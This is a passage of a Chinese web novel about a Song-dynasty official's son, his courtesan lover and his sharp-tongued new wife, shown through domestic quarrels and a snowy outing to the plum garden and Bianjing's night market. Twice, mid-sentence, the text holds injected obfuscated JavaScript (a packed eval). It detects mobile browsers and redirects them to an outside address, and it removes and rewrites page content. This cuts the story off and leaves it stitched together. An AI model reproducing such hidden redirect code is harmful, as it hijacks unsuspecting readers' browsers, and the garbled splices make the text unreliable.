不出三日,苏明锦带着他的李意如回了府。 正堂之上,苏明锦跪在中央,始终不敢抬眼看向自己的父亲。 “孽障!亏你读了那么多书,连礼义廉耻都不知道怎么写了?背信弃义、流连花巷,置家族、妻室于不顾,还死不悔改,一错再错!” “父亲,我与意如两情相悦,是在婚约之前。新婚之夜,意如欲寻短见,这才……让宋家姑娘没了脸面,是我考虑不周。” “你还真是考虑不周啊,如今朝局动荡不安,童、杨两派争的你死我活,你爹我一介清流,不愿受人摆布,在朝中谨小慎微以求保全家人。你呢?做事不管不顾,让整个苏家、让你爹我、让你岳丈家、让你新婚妻子,受尽了非议,朝中那帮小人,正好没的话柄,你倒好,上赶门的送过去了!” “是我任性了,儿子以后会亲自到岳丈家道歉,会和妻子相敬如宾,不亏待了她。” 苏明锦此时是真的悔过了,在朝为官,他怎不知,朝堂风云变化、派系纷争的权斗。自己一时冲动,免不得让两家人陷入窘境。当初意如得知自己成婚的消息,万念俱灰,几欲寻死,为了不辜负对意如的承诺,他只能背弃新婚妻子,给意如在城外幽僻处置了一处院子,虽简陋,但好在清静。 那日他回府收拾衣物,看见宋家姑娘一个人在榻上休息,清冷瘦削,心里不禁生出了怜悯之情,这阵子,对不住了!和意如厮守的日子,他满足于‘眼前人是心上人’的美好。可,日日的风花雪月,弹词唱曲,又生出了几分无聊。而父亲派人将他和意如“绑”回府里,无疑是给了自己一个台阶下。只是,李意如对这样的结果并不满意,她现在待在自己身边,无名无分。 “父亲,既然允了儿子带意如回府,为何连个妾的名分都不能给呢?意如她,虽在风尘,却是清清白白……” “糊涂!”苏瑷打断了他的话,对这个蠢儿子有些无语,“一个那样身份的女子,让她踏进苏家的门就是对她格外开恩了!” 苏明锦只恨自己脑袋糊涂,简直是把亲爹刚说完的话当耳旁风,他急忙说道:“儿子愚钝,以后不在这件事上执迷不悟了。” 苏瑷摆了摆手,示意苏明锦出去,苏明锦站起身来,转身刚迈了一步。 “回来!”苏瑷急声道,“还有一事我要嘱咐你,让你带李意如回府的是你妻子。他顾念着我这个老头子在朝中的脸面,也为着你这个不争气的丈夫的前途,宁愿委屈自己,求着我答应,让你带着李意如进门,给个名分。真是不惜自己的清誉,这得落入多少人的口舌?不过,是我坚决不让那个女人成为苏家的妾室!其中利害,你自己考量去吧!” 苏瑷拂袖而去,只留下一脸茫然的苏明锦,是她、竟然是她!她不是应该恨他和她吗? 李意如已被安排在了清风阁的侧厅,那里单独收拾了一个屋子,虽说以婢女身份入府,但好歹也是苏明锦的人。 苏明锦快步走回清风阁,李意如早早的就在门口候着。一见到苏明锦,就扑了上去。苏明锦尴尬的怔了怔,拍了拍她的后背,就立马躲出了她的怀抱。李意如一脸不满,撅着樱桃小嘴,娇嗔道:“怎么?一回了府,你就冷着我了?” 苏明锦讪讪一笑,“意如,府中不同外面,该有的规矩还是得有,不能随心所欲。”李意如颇不受用,一把甩开了苏明锦的袖子。 好巧不巧,正赶上宋清欢从外面走回,迎面见着二人,苏明锦倒是心有愧疚,而此时李意如在身旁,他又不好多说什么。 宋清欢却不在意,她面不改色,笑意盈盈,“呦,带着你的小红颜回来了?啧啧,难怪你鬼迷三道,我见犹怜呢!”宋清欢像个选商品的商人一样,色眯眯的打量了一番李意如,调笑了一句。说罢,用帕子掩着嘴对苏明锦意味深长的笑了笑,自顾自的走开了。 李意如扭头白了一眼宋清欢,再看了看愣着不动的苏明锦,心里更来了气,对着他就是一顿捶打。 “好了好了,别胡闹了!”苏明锦有些烦躁。李意如哪里甘心,拽着苏明锦到了自己屋里。 “还不快些收拾,这样乱糟糟的,晚上我和明锦怎么安睡?”李意如对着正在忙活的小丫头责怪。 “叶儿?”苏明锦认出了这个小丫头。 “二公子,二夫人说我办事仔细,就吩咐我过来伺候李、李姑娘。”叶儿不知该如何称呼这个不是妾的妾,故而有些磕巴。 “你先下去。”李意如呵退了叶儿,转身伏在苏明锦的肩头,“明锦,在这里只能委屈你了,你不会嫌弃屋子太简陋就不过来陪我吧?” “意如,没能有个名分,确实是委屈你了,但是身在朝堂不得不为家族、为父亲考虑。再者说意欢不计前嫌,肯容纳你我,我们应该感激她。你以后对她,不能像今天这般没有礼数。” “知道啦,我会心里感恩戴德的,我不奢求名分,只求你待我如同从前一般,永不变心。” 夜幕降临,宋清欢备好了菜肴,“绿珠,你去请二公子,就说我让他过来用晚饭。父亲晚上吃不下,就不和我们一起了。” 那一边,李意如正粘着苏明锦,让他陪自己吃晚饭。听到绿珠来请自己,迟疑了下。 “意如,今天是回府第一天,我得去夫人那里,你自己吃晚饭。” 李意如并不说什么,只是泪眼汪汪地扭过头去,不再看他,苏明锦心里过意不去,安慰道:“晚上再过来陪你。” 穿过一栏花茎,便到了主厅,宋清欢早早地坐在饭桌前候着了,“也不知你爱吃什么,就让小厨房做了这几样我爱吃的,你不介意吧?” 苏明锦陪笑道:“哪里哪里,我不挑食。” 绿珠插话道:“二公子,你看,有你最爱吃的蜜汁藕、栗子糯米鸡呢,二夫人特意问过二公子您的喜好!” 宋清欢扭头推开绿珠,哼了一声,“这可是我最爱吃的,哪里特意为他?” 苏明锦是个明白人,他怎不知对方的用心,“意欢,这几日你、你受委屈了,我也代意如谢谢你!” 宋清欢没有反应,小舟急的连戳了好几下她的肩膀。“啊!啊,对,我,宋意欢,呵呵。”这许多日来,还鲜少有人叫她的闺名,忘记了自己可是顶着妹妹的名头嫁过来的。 “意欢,我以茶代酒,谢你的包容!” 说罢,苏明锦一饮而尽,可宋清欢却不为所动。宋清欢瞥了一眼苏明锦,自言自语道:“我第一次喝酒,便是成亲当晚的合卺酒,却喝了个不痛快,你要是真感谢我、亦或是赔不是,以后想法赔我的那个‘不痛快’吧。” 苏明锦一愣,一时没反应过来,正端着茶杯不知所措,守在门外的翠儿进来对二人道:“二公子、夫人,李姑娘想进来给夫人问安,正在门外候着。” 宋清欢看了一眼苏明锦,彼时的他也是一脸疑惑。宋清欢笑道:“你这小红颜可真是学得一身的‘好规矩’呀。”苏明锦哑口无言,他当然知道,大晚上,问的哪门子安。宋清欢道:“叫她进来吧。” 李意如身姿婀娜,眉眼含情,似弱柳扶风般徐徐“飘”到了桌前,虔诚的跪在了宋清欢的眼前,嘴角噙着三分笑意,七分恭顺,“意如谢二夫人容人之恩,今后,我必当竭心尽力,代二夫人伺候好明锦。” 李意如一身桃粉袄裙艳得晃眼,绣着金丝鸳鸯的云肩衬着削肩细腰,行动间环佩叮当,如弱柳扶风。眉是远山黛,眼含秋水波,唇点樱桃红,鬓边斜簪步摇随步伐微微颤动,越发显得那张桃花面娇艳欲滴。 这一边,宋清欢正襟危坐,一袭湖水蓝的褙子素净如水,青丝只挽了寻常样式儿,斜插一根白玉扁方素簪子。眼睑低垂,粉面含春,着实让李意如摸不清这到底是怒是喜。 待那娇滴滴的请安声落地,宋清欢才缓缓抬起眼来。目光平平扫过那一身桃粉,无波无澜,“看来,李行首不太懂府里的规矩呀。哦,看我这记性,既然入了府,那就是夫君的恩赐,得改个称呼了。” “意欢!”苏明锦有些挂不住,这“行首”二字,怕是伤了李意如的心。 宋清欢才不管那些,直接回道:“我向来不直接过问府中侍婢的增减,自有嬷嬷代管,不知你这‘问安’,是何道理?” 李意如心下一惊,她没想到这位新夫人简直是宠辱偕忘。新婚之丑传的沸沸扬扬,流言却伤不了她分毫,果然好心性!她刚刚这一句,明显是告诉自己,名不正言不顺,连妾的名分都不是,哪有一个侍婢跑来特意向当家主母问安的,不能乱了阵脚,要稳住! “蒙二夫人的恩,虽是允我以侍婢身份入府,但情分自是和别个不同。明锦与我相许数年,他自是个痴人,故而,意如再次跪谢夫人,成全我与明锦的情意。” “白居易的《井底引银瓶》可算是好诗,骂醒了多少痴儿怨女,何况比之还不如?听闻李姑娘蕙质文心,想必深谙此道啊。” 见宋清欢顾左右而言他,李意如面颊微红,她哪里不知,这首诗里有句“聘则为妻奔是妾”,想到这,她不禁怒火中烧,却又不好发作,只能是笑着继续周旋。 “夫人教训的是,但我还知,红烛相对,替人垂泪到天明,几家欢喜几家愁,意如在这里祝夫人事事安顺。” “很好!你的问安,看来我是受不起了,我作为当家大娘子,可不是只会简简单单光照顾丈夫的。父亲奔走朝堂,全家大小事宜,都需要我经手,包括你的吃穿用度。还有啊,官人的名讳可是你当众叫的?” 宋清欢轻描淡写,转头又对着苏明锦莞尔一笑,“官人,这是朝廷官员的府邸,可不是什么世外别院,对不对?” 一句话,让苏明锦试图维护李意如的话,到了嘴边又不得不咽了回去。 见苏明锦一言不发,李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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看着妻子突然间神情木讷,自己也无可奈何,如果……不,不会有如果,这是他们三人的一场修行,谁也无法独善其身。 “你妥协了,我又何尝不是呢?”苏明锦低语,他站起身来,神思恍惚的离开了。 夜深风重,寒露清霜,苏明锦在花廊缓步而行。他也有太多的身不由己,他甚至做不到为了儿女私情抛弃自己的家族,父亲为官忠心耿耿,大哥在地方也是一心为民,到了自己这,唉!之前城外暂住,其实也不过是一时避避风头,他怎么能躲一辈子呢? 不知不觉,他走到了李意如的门前,怔了怔,不知怎的,自己有些不愿进门,不知道该如何跟她解释。意如是个善解人意的女子,可自从进了府,她虽处处为自己着想,隐忍退让,却总是处处不满,耍小性子。今天晚上她的所作所为,像是换了一个人似的,口齿伶俐、咄咄逼人。表面上看是当家大娘子压制妾室,而明眼人却都能看出,是她找上门来,盛气凌人,去试探正妻的性子。也算是侍宠专行,逞一逞威风。苏明锦也算是在官场倾轧数年,这点小把戏如何看不出。不过,意欢,也有些言辞刻薄了…… “二公子?”小蛮端着一盆水泼出门外,恰好看到了怔在外面的苏明锦,“我就和姑娘说嘛,二公子肯定会来的。”说完,兴奋地冲着里屋喊。 苏明锦缓步走进了屋,李意如却没有笑脸,头扭向一边,闷闷不乐。 “二公子,姑娘心里委屈呢,您千万不要计较,前一刻姑娘还念叨着您呢,盼您来坐坐。”小蛮是李意如的贴身婢女,事事以她为准,“叶儿,快去给二公子倒茶。” “不用了,你们都退下吧。”苏明锦把小蛮和叶儿都打发了去,他轻轻地走近,拉过李意如的手,柔声道,“意如,从此以后,再不许那么张扬,你要安分守己过自己的日子,为我,也为了整个苏府。” 李意如抽出自己的手,嗔怪道:“我一个无名无分的女婢,哼,跟我扯上什么整个府,奴婢没那个资格。你不用跟我一遍遍地说那些大道理,我不想懂。我只知道,从前心里只有我一人的夫君,在看到另一个女人时,满眼的欣赏和感激。” “意如,你从前不是这样的,你和我在一起,不求名不求利,只为真心。” “真心,容不得一丝马虎。我倦了,你且去你夫人那里吧!” 苏明锦无言以对,他知道这里是待不下去了,只能悻悻地告了辞。 小蛮一时摸不着头脑,着急的不行,“姑娘,公子被撵走了?这不正好撵去二夫人那了,倒是便宜了他们。” 李意如拭干了眼泪,冷笑一声,“若我事事退让,他就永远不在乎我受的委屈,真心这东西,哪有十足的把握?说好了一起长相厮守,还不是为了门楣家族回来了。说好了只有我一人,到头来,连个正经名分都不给我,当我好欺辱吗?” “那一众官宦子弟里,也就二公子算是忠厚良善,可以托付终身的。” “不然我为什么会费尽心力的讨好他?还不是找个可靠的,给自己后半生一个保障。” “那姑娘就休要耍小性子,抱住这棵大树才是正经。” 5. 五、且插梅花醉逍遥 窗外风声细细,手中的书被随意的翻动着,宋清欢起身关上窗,又披上了绿珠拿过的衣服。 “天凉了,晚上睡觉都加床被吧。”宋清欢淡淡说道。 “夫人知道关心咱们的冷暖,也得关心下二公子的是不是?”绿珠偷瞄着宋清欢的脸,见她茫然地盯着手里的书,不吱一声,于是继续说道,“夫人何苦在席间拿话呛他,二公子肯定去李娘子那了。他们本来……夫人,您得把二公子给抢回来!” “那照你这么说,女人低声下气,讨好男人,就能得到对方的心?” “呃……可夫人您总和二公子对着干!哪个男人喜欢这样的,他们呀,多半都喜欢温柔、贤惠的。” 看着绿珠摇头晃脑,故作温柔的一脸娇羞,宋清欢不禁被逗笑了,“你呀!满脑子想什么呢?看来是着急想个夫婿了!” 小舟听着动静,停下手里的活,从外屋跑了进来,“谁呀,绿珠要嫁人啦?心上人是哪一位?” 绿珠羞得一脸红霞,捂着脸可劲拍打跑过来凑热闹的小舟,“干你的活去,就知道和夫人一起编排我。哎呀呀,我是为着夫人您,您倒好,打趣起我来了。” 宋清欢拉过绿珠,耐心解释道:“小丫头,越是容易得到的,就越不被珍视,费力讨来的怜爱,禁不起时间的考验,若真有缘分,不求自来。” “那夫人和二公子既然已成夫妻,那就是有缘分的。” “这毕竟不是两情相悦之上的亲事,算不得什么缘分。” “那……算不得,可这婚事板上钉钉,毁不得的。” “那就有缘最好,若是无缘,可婚事依旧,就得靠自己稳固地位了。” 绿珠听得稀里糊涂,皱着眉摇摇头,却听到小舟大喊一声,“下雨啦!” 宋清欢不在意,坐下来继续看书,只吩咐了小舟,把放在院子里的几盆秋海棠搬进屋子。 “姑爷什么时候回来的呀!别在外面淋雨,快进屋!” 小舟和绿珠一阵惊慌,毕竟提前也没个准备。可宋清欢依旧看自己的书,岿然不动。苏明锦轻轻地走近里屋,烛光缱绻,映着女子清瘦的面庞。 “这么晚还在看书?”苏明锦其实挺尴尬的,不知道说什么,才从书问起。 “呀,稀客啊?我呢,在看李义山的诗。‘何当共剪西窗烛,却话巴山夜雨时’,倒也应景。我还以为你在——”宋清欢忽的用手遮住嘴,然后狡黠一笑。 “那个——”苏明锦不知道怎么解释自己的冒然出现,怎么也不能说,自己是被李意如撵出来得,转悠了一圈,没有地方去吧, “夜深雨密,你也别瞎溜达了,绿珠,去偏厅收拾下床铺。”宋清欢放下书,把苏明锦推出了卧房,“苏公子不介意吧?放心,我是不会勉强你的!” 苏明锦被搞得无语了,哪里像是个大家闺秀,真是嘴不饶人,不过,她确实解了自己的困境,却不着痕迹。他可不想宿在清风阁外,被父亲知道又得是一顿骂。“意欢,谢谢了。” 宋清欢真的很讨厌顶着这个名字在苏明锦面前晃悠,她不想说话,白了一眼苏明锦,转身走了。小舟和绿珠依旧是对宋清欢的做法颇不理解,无奈只能照做。 第二日一早,苏明锦就起了床,多少年的习惯了。他幼时不仅跟着哥哥熟读经典,还自小跟随父亲习武,虽未亲上战场,但也是一身武艺,算得上是文武双全了。有宋以来,重文轻武,苏明锦虽在官场不甚得意,却也没有荒废了自己的本事。 一阵剑光飞舞,四下黄叶纷飞,收剑入鞘,绿珠递过毛巾,苏明锦边擦汗边问:“夫人呢?准备早饭呢吗?” “呃。”绿珠抿了抿嘴,嘿嘿一笑,“夫人还没起床。” “什么?”苏明锦震惊了,这都什么时辰了,他把剑抛给了绿珠,自己大摇大摆进了卧房。只见这位当家得二夫人睡意正浓,丝毫没有察觉到他的接近,“宋意欢,你就是这么持家的?还不快起来!” “嗯……干嘛……”宋清欢有气无力,显然没有要睁开眼的意思。 “你看看,外面太阳多高了?你、你这,成何体统?” “哎呀……”宋清欢十分不耐烦,揉了揉眼睛,用手指挡着从窗子透进来的光,“想吃早饭啊,找你的小红颜去,冷面鬼。” “什么?你叫我什么?”苏明锦怒目圆睁,冷面鬼?说我呢吗?自己要是有面子去李意如那,也不至于晚上来这里凑合了。 宋清欢忽地清醒过来,蹭地一下坐了起来,“啊,官人要吃早饭啊,简单,小厨房很快就送过来!” 苏明锦见宋清欢穿着中衣,却神情自若,自己倒是不好意思起来。宋清欢一脸坏笑,向他摆摆手,“过来过来!”苏明锦一脸茫然,不知道对方葫芦里卖的什么药,只能莫名其妙地走向床边,疑惑地看着她。 宋清欢见他呆呆傻傻地站到了床边,出其不意地伸出手,扯过他的衣襟。苏明锦被宋清欢这么一扯,毫无防备,一个趔趄歪在床边,凑到了宋清欢的眼前。 “怎么,苏二公子还会脸红?” 苏明锦一时语塞,嘴边传来若隐若现的温热,时间仿佛停滞,他没有挣脱,也没有说话,就这样怔怔地看着对方。这个女子,和他想象中的大户人家的妻子,太不一样了。恍惚间,他突然又想到了昨晚李意如的啜泣,思绪飘回,苏明锦赶紧正起身来,呵斥道:“这么没规矩,仔细别人看到!” “看到怎样?名正言顺,谁还能说我半句不是?” “姑娘、姑爷,出来吃早饭了!”外面小舟在喊。 “成何体统!快、快穿好衣服!”苏明锦有些心慌,他有些不明白,这种心慌到底是什么样的情绪。说完这句,自己慌不择神地迅速撤离出去。 “哎?姑爷,您去哪呀,吃早饭!”小舟看着飞奔出去的苏明锦,一头雾水。 “不用管他,咱们自己吃!”宋清欢缓缓地走出来,意味深长的一笑。 苏明锦从宋清欢那里落荒而逃,直到现在心还在砰砰地跳,总不能让她们议论自己的惊慌失措吧。一晚上过去了,意如不知道如何,也该过来看一看她。 “二公子来了!”叶儿蹲在门口,揉着红红的眼睛。 “怎么了?大早上的,蹲在这儿干什么?李娘子出了什么事?” “哦,没有没有,李娘子等着二公子呢。”叶儿站起身,为苏明锦掀帘。 “意如,还没吃早饭?我让厨房备了你爱吃的云片糕,一会便送过来。” 李意如并未正眼瞧他,“二公子真是抬举我了,我吃不吃的,倒是不打紧,只是昨夜你们夫妻二人同眠夜话,这一大早又跑我这里,恐怕不妥。” 苏明锦讪讪一笑,摆摆手,让小蛮和叶儿退了出去,“你听谁说的?我昨夜只是宿在了偏厅,我看是谁在背后议论家主!” 李意如听罢,心里暗暗得意,这才挤出一丝笑意。正思虑之间,门外传来九宝的声音,“二公子,刚做出的云片糕来啦!”九宝是苏明锦身边的小厮,自小便跟着苏明锦。 李意如见九宝带着她最爱吃的云片糕回来,一扫眉间阴霾。回来的这几天,李意如在赌,赌她在苏明锦心中的份量。虽然,眼下还是有几分担忧,但总算是松了几口气。她苦心经营,好不容易套牢这位公子哥的心,差点就能阻止苏明锦娶妻,没想到这宋家姑娘死皮赖脸,没有丈夫的新婚,就这么挺过去了。不过,进府之后,发现她对苏明锦,似乎并没有什么特别的感情。而苏明锦对她,也就只有表面上的敬重吧,自己和苏明锦这两年的情分,怎么着也胜过他们之间名义上的夫妇之情。 “这就高兴了?” “我就知道,你心里还是记挂着我!” “意如,今天来,我还是想嘱咐你一句。在府里,要谨言慎行,对夫人要尊重,上次的事,不许再有了。” “那你不许再去找宋家姑娘!” “她终归是苏家的二夫人!” 李意如闷不做声,看来,想要断了他们两个人的关联,是彻底不能够了。如果自己再一味嗔怪,恐怕会惹得苏明锦不耐烦,杏雨天就有这样的先例,她不能耗尽苏明锦的情意。 “明锦,让你为难了,是我小性,我不会再做傻事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376767|200106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏明锦满心亏欠,这几日两头吃瘪,唉,终于平衡了这个难题,心里自然十分畅快。 转眼间进了冬月,天气寒冷,可院中的红梅却是分外精神。 “今年的红梅怎么开得这么早?”宋清欢倚在门口,望着院子正出神。 “夫人,您要是喜欢,奴婢去折几枝回来。省得您在门口这冻着。” “绿珠,说多少遍了,别整天奴婢奴婢的挂在嘴边,你和小舟同别人不一样。” “知道啦夫人!”绿珠俏皮地笑了笑,立马飞奔到院子里去,拽着小舟,折了几枝含苞的梅枝后,立马跑回屋里,把梅枝插在素白胚的瓷瓶里,站在一旁,一边呵气暖手,一边欣赏桌边美景。 宋清欢看着二人折来的梅枝,顿时起了兴致,“这么好的景致,咱们可不能辜负了!小舟、快、快去取我的斗篷!” “夫人,您不会是想出去看吧?冻坏了身子如何是好?咱们还是在屋子里看吧,您要是觉着不够,我再去折些回来。”绿珠一脸担忧,一把拽住了去取斗篷的小舟。 “哎呀,没关系,多穿点就是了。我哪有那么娇气,以前在家时,也没人在乎我这边的天寒冷暖,都习惯啦!”宋清欢苦笑道,“行了,绿珠,你去取我的琴来。” 宋清欢披上了斗篷,兴冲冲地跑到了清风阁院门口,这里有两株红梅,相映成趣,颇有古韵。 绿珠看宋清欢实在欢喜,不禁说道:“这两株梅树算什么呀,咱们府后院的那一片,才叫‘梅花入梦香’呢。” 宋清欢一听,简直两眼放光,“真的?那还等什么?” 跟在一旁的小舟却是急了,“绿珠!你干什么呀,这雪开始下的密了,你还招引的姑娘去寻什么梅?” “小舟,什么时候那么婆婆妈妈啦?哪里那么严重,这叫乘兴而去!”宋清欢对着小舟一顿“教训”。 小舟抱着琴,踉踉跄跄地跟在绿珠后面,一边嘟囔一边不停地规劝,最前面的二人对她压根不理不睬。 “前面就是啦!”绿珠兴奋地指着不远处那一团团如火的红霞。 宋清欢愣住了,她从没有见过如此多的红梅,一时竟无法用语言表述自己的震撼。寒气里,那一片红是舞着的,冷到极处,反像是有了体温。风吹过,雪簌簌地落,梅枝轻颤,仿佛有人在远处拨弄古琴。她突然想到了“梅妻鹤子”的林逋,他若在,大约会提着一壶酒,醉倒于梅下吧 宋清欢慢慢地靠近着,不动声色,生怕自己突兀地闯入,扰了这一方清净。绿珠和小舟也异常识趣,一言不发,只默默地跟着宋清欢,走进了这片梅林。 “雪里已知春信至,寒梅点缀琼枝腻。香脸半开娇旖旎,当庭际,玉人浴出新妆洗。造化可能偏有意,故教明月玲珑地。共赏金尊沈绿蚁,莫辞醉,此花不与群花比。” 谁在吟诗?红梅深处,苏明锦突然停住脚步。 “怎么不走了?”一旁的李意如疑惑地问,“明锦,我们快点回去吧,实在太冷,我就说别出来。” 苏明锦眉头轻皱,“你不是最喜梅花?之前总是让我带你去城外踏雪寻梅。” “呃……”李意如一时语塞。 “二公子,姑娘昨夜有些受凉了,许是身子没有恢复过来呢。”小蛮急忙找补。 “这样,小蛮,你先陪意如回去。”苏明锦说罢,就将手中的伞递给了李意如。 “明锦,你陪我回去吧,晚上我们一起吃饭。”李意如拉着苏明锦,撒着娇。苏明锦面无表情,只是痴痴地望着远方。 “你看什么呢?” “呃,没有,你快回去吧。” 李意如看出了苏明锦话语里的些许不耐烦,“难不成梅花化成了美貌女子,勾着你的魂魄?” “你又、又开始瞎想,别胡闹了,小蛮,带意如回去!” “哎——” “姑娘,我们回去,别再受了寒。”小蛮没等李意如说完,就急忙拉过她走了。 苏明锦心里有些懊恼,他恼李意如打断了他寻声访人的最佳时机,他若有所思,一个人,静静的,漫无目的地往前挪着步子…… 6. 六、“如果我先认识的是你,该有多好!”^…… 日落西山,但雪光相映处,人影依稀可见。红梅掩映间,隐隐地传来了一缕如泣如诉的琴音,苏明锦心中一阵窃喜,循着琴音,满心期待地接近…… 一株红梅树下,女子倚坐于此,一张古琴设于膝上,一双手托劈抹挑,韵律伴着梅香,穿过花枝,飘到了苏明锦的心坎。 “梅花三叠。” “谁!谁在那偷听?” 宋清欢停住了,站起身来,四处张望。苏明锦见琴音停住,立马从梅树后走了出来。他径直走到了宋清欢面前,看着眼前女子冻得发红的面颊,一种怜香惜玉之情油然而生。 “姑爷,您说说,这大冷天的,劝都劝不住!”小舟见来人是苏明锦,又开始不停地抱怨。 苏明锦并未责怪,只是伸出手,拂去宋清欢鬓发间的雪花。绿珠眼珠一转,俏皮地笑笑,抱过琴,对着苏明锦说道:“二公子,我和小舟先回清风阁去,把炉火生得旺些,一会儿您和二夫人回去,好好暖暖身子。”说罢,笑嘻嘻地拉着不明所以的小舟跑掉了。 梅间,只剩这夫妻二人,宋清欢调笑道:“呦,苏公子也有雅兴冒雪前来赏梅?竟学浪荡公子,偷听女儿家弹琴。” 苏明锦低头窃笑,“你总是处处打趣我,可惜我又说不过你。想不到你琴弹得那样好,完全没有小儿女的柔弱情态,倒有几分林和靖的隐逸之风。” “哈哈,说得有趣!你这个习武之人,不像那些寻常武夫,难不成你也想梅妻鹤子、潇洒快活?” “恐怕是不容易了,这几年各地起义不断,方腊那边,我听父亲说,规模不减反增,再加上金兵一直虎视眈眈,怕是没多久,又得一场硬仗,风雅之事,我是无福消遣了。” “都说‘百无一用是书生’,他们的家国情怀只能诉诸笔墨,你却是幸运的,有本事去战场为家为国。今日雪后寻香、梅林听琴不就是一桩风雅事吗?想来这二者也并不矛盾。” “方腊之事未平,上次朝堂之争,恐怕父亲难逃一战了,如若此,我必得随父奔赴战场。唉,如今放眼望去,朝中忠勇之士,似乎寥寥无几。” “说起方腊之事,我也略有耳闻,但究其根本,还不是咱们官家纵了那些中饱私囊的蠹虫,那些人种下的祸根,却要父亲这般清白之臣去收拾烂摊子,是何道理?” “人在庙堂,身不由己,就算是不辜负官家天恩罢了。” “啊!是我狭隘了,国之兴亡,牵之众人,怎能旁观呢?” 苏明锦点点头,告诫宋清欢,“以后这样的话不许对旁人说,也不许议论。” “知道啦!国事不可非议!那我就邀君得意之时且尽风雅吧?” “所言甚是!且不说这些了。”苏明锦赞许地笑了,他随手折下一朵枝丫间开得最艳的梅花,插于宋清欢鬓间。宋清欢用手抚了抚鬓发,梨涡浅浅,眉眼含春。 “你看看,手都冻成什么样了。”苏明锦说罢,就将宋清欢的双手一把握住,放在嘴边呵了呵气,“好些没有?” 宋清欢不敢抬眼看他,只轻轻地“嗯”了一声,不知道是冻得小脸通红,还是因为别的。 苏明锦这些时日,似乎终于在宋清欢这里扳回了一局,“怎么?平时对我说起话来,夹枪带棒,嘴不饶人,今儿是把你的嘴冻坏了吧!呵呵。” “冷面鬼!你别得意,自有你没理的时候!”宋清欢不甘示弱。 “你叫我什么?冷面鬼?我哪里冷面了?” “啊……”宋清欢抽出自己的手,掩住嘴,心想,完了,怎么就当着他的面叫出这个自己瞎给他起的称呼了。 “哈哈,看来是你先没理了呦!”苏明锦洋洋得意。 天已渐黑,雪光衬得夜色格外柔和,朦胧之中另有一番别样的清雅。二人并肩踱步其中,这让苏明锦心中生出了一种满足的踏实感,暂且放下了随时紧张待战的忧虑,不用顾忌任何人的感受。此时此刻,他不愿想其他任何事情,只享受当下难得的宁静。突然,苏明锦双眸一闪,“走!带你去个地方。”还没等宋清欢反应过来,她就被苏明锦一把拽住,一路小跑地出了苏府。 这是今年的初雪,竟一直下到了晚上。华灯初上,人们并不会因为天气的寒冷而畏怯出门,相反,街市上男女老少,都来凑凑热闹。大家拥着挤着,都向“瓦子”的方向走去(瓦子又称瓦市、瓦肆、瓦舍,在宋代大兴,它的出现标志着一场城市生活、城市景观变革的完成)。在宋以前,城内街道上一律不准开设店铺,晚上街市会实行宵禁,一直到了唐末宋初,商家街头买卖既成事实,皇帝下诏,承认现状。于是,大街上店铺栉比,熙熙攘攘,一类固定的聚会玩闹场所也在热闹地点出现,这种固定的玩闹场所就叫“瓦子”。 这里玩闹的项目很多,有杂货零卖及酒食之处,还有相扑、影戏、杂剧、傀儡、唱赚、踢弄、背商谜、舞蹈、杂技、戏剧等表演,宋清欢的眼睛都看不过来了,又怕自己被人流挤丢,就紧紧地拽着苏明锦的胳膊。 “快看快看!那边的那个人居然从嘴里吐火啊,还没有烧到自己?” “这边这边,那几个舞姬跳的敦煌舞好美啊!” 苏明锦看着眼前这个到处乱跑、没见过“世面”的夫人,宠溺一笑、合不拢嘴,又时刻担心她会被来来往往的人挤丢,“慢点,别跑太远!” “冷面鬼快过来,我想要这个!” 苏明锦赶紧跟了上来,正看着宋清欢手里拿着一个人像面具,看自己走到跟前,就立马把面具递了过来。 “哦?这是卓文君吧。” “公子好眼力!我这摊铺的面具是这条街独一无二的,你看这是卓文君,我这还有的蔡文姬、苏小小,全是历史上著名的才女。” “好看吗?”宋清欢戴上了卓文君的面具,歪着头凑到了苏明锦的嘴边。 苏明锦忽的心跳加速,脸也不由地发烫。 宋清欢摘下面具,调笑道:“冷面鬼,这还没吃酒,怎么就醉了呢?” 苏明锦不好意思地笑了笑,摇摇头,“哪有,还不是你到处乱跑,我得盯紧点,免得你丢了我也不知道。这天啊,还挺冷,冻得我脸都僵了!”边说边用手揉搓自己的面颊,试图掩饰自己的窘迫。 “饿了吧?”苏明锦突然想到,晚上还没有吃饭。 “可不嘛,只顾着玩,你这么一说啊,我的肚子都‘咕咕’叫了。” “前面就是整个汴京城最繁华的酒楼,樊楼,素有‘东京酒肆之甲’的盛誉,最近他们家新出了糕点,带你尝尝鲜!” “不会是什么云片糕吧?我可没兴趣!” “你什么时候能不挤兑我啊?” 宋清欢不理他,径直向前走去。苏明锦苦笑着摇摇头,只得紧跟着她。此时的樊楼,一楼的大堂里已经没有位置了,苏明锦拉着宋清欢的胳膊,在二楼找了一个靠窗的绝佳位置。 “就在这吧,一边吃,一边还能静赏‘汴河灯影’雪朦胧呢!” 顺着苏明锦指的方向,宋清欢抬头张望,可不是嘛,汴河边影影幢幢,再配上周边白皑皑的一片,自有一番情致蕴含其中。 “二位贵客,想吃点什么呢?”店里的跑堂过来殷勤问道。 “炙羊肉、糯米鸡,还有——” “再来个素菜,蜜汁藕,你竟挑我爱吃的,那我就选个你爱吃的吧?” “呵呵,绿珠无意说过一嘴,我就、我模糊记得,是你爱吃的。”苏明锦有些不好意思,不过是说者有心,听者也有意。为了掩饰尴尬,苏明锦咳了一声,“最近有新出的糕点吗?” “我们店为了迎合这冬雪寒梅,特出了一款‘梅花糕’,二位要尝尝鲜吗?” “好!就要这个!对了,这样的寒气,再来一壶酒吧, 